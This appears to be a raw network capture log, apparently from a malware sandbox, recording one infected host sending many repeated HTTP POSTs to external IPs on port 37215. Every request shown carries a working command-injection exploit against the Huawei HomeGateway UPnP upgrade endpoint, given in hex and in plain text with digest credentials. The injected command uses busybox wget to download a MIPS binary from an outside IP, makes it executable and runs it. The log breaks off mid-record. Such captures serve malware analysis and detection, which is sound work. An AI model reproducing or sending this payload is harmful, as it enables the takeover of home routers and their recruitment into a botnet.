69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.20	40050	94.123.7.49	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:03:22.391258955 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.20	51200	94.123.191.196	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:03:23.920495033 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.20	43586	160.181.185.180	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:03:26.517411947 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:28.116879940 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:30.040923119 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:33.884808064 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.20	54488	45.42.82.189	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:03:26.693913937 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.20	48594	156.254.78.79	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:03:26.820907116 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:28.340818882 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 